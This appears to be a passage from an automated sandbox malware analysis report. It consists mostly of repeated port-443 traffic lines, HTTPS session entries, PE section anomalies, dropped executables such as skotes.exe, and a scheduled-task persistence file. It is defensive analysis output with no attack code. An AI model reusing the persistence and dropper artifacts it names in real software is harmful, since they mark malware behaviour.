Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50137 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: section name:
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name:
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name: .rsrc
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: c41846ccfb.exe.26.dr	Static PE information: section name:
Source: c41846ccfb.exe.26.dr	Static PE information: section name: .rsrc
Source: c41846ccfb.exe.26.dr	Static PE information: section name: .idata
Source: c41846ccfb.exe.26.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB4B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB4B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB4B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CAEF280

Source: C:\Users\user\DocumentsGHIJJEGDBF.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE35A0	0_2_6CAE35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB434A0	0_2_6CB434A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4C4A0	0_2_6CB4C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF6C80	0_2_6CAF6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB26CF0	0_2_6CB26CF0
